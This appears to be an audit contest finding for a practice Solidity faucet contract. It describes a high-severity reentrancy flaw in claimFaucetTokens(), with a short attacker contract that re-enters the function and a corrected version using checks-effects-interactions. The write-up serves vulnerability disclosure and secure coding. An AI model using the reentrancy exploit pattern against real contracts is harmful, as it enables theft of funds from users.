Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in ETH Distribution

Description:

The claimFaucetTokens() function contains a critical reentrancy vulnerability where external calls are made before state updates. The function transfers ETH to the caller via call.value() before updating critical state variables like lastClaimTime and dailyClaimCount. This violates the checks-effects-interactions pattern and allows malicious contracts to reenter the function multiple times.

Impact:

  • Fund Drainage: Attackers can drain both ETH and tokens from the contract in a single transaction

  • Bypass Protection Mechanisms: Reentrancy can bypass daily limits, cooldown periods, and ETH claim restrictions

  • Economic Attack: Malicious actors could claim unlimited tokens and ETH, destroying the faucet's economic model

  • Contract Bankruptcy: Complete drainage of contract funds affecting all legitimate users

Proof of Concept:

// Vulnerable code pattern:
function claimFaucetTokens() public {
// ... initial checks ...
// INTERACTION: External call before state updates
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// At this point, state hasn't been updated
}
// EFFECTS: State updates happen AFTER external call
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Another INTERACTION: Token transfer
_transfer(address(this), faucetClaimer, faucetDrip);
}
// Malicious contract that exploits this:
contract ReentrancyExploit {
RaiseBoxFaucet faucet;
uint256 reentryCount = 0;
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
reentryCount++;
if (reentryCount < 10) {
faucet.claimFaucetTokens(); // Reenter multiple times
}
}
}

Recommended Mitigation:

function claimFaucetTokens() public {
address claimer = msg.sender; // Use local variable
// CHECKS: All validations first
require(block.timestamp >= lastClaimTime[claimer] + CLAIM_COOLDOWN, "Cooldown active");
require(claimer != address(0) && claimer != address(this) && claimer != owner(), "Invalid claimer");
require(balanceOf(address(this)) >= faucetDrip, "Insufficient token balance");
require(dailyClaimCount < dailyClaimLimit, "Daily limit reached");
// Reset daily counter if new day
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// EFFECTS: Update all state BEFORE interactions
lastClaimTime[claimer] = block.timestamp;
dailyClaimCount++;
bool shouldReceiveEth = !hasClaimedEth[claimer] && !sepEthDripsPaused;
if (shouldReceiveEth) {
hasClaimedEth[claimer] = true; // Mark as claimed BEFORE transfer
dailyDrips += sepEthAmountToDrip;
}
// INTERACTIONS: Perform transfers AFTER state updates
if (shouldReceiveEth && address(this).balance >= sepEthAmountToDrip) {
(bool success,) = claimer.call{value: sepEthAmountToDrip}("");
require(success, "ETH transfer failed");
emit SepEthDripped(claimer, sepEthAmountToDrip);
}
_transfer(address(this), claimer, faucetDrip);
emit Claimed(claimer, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.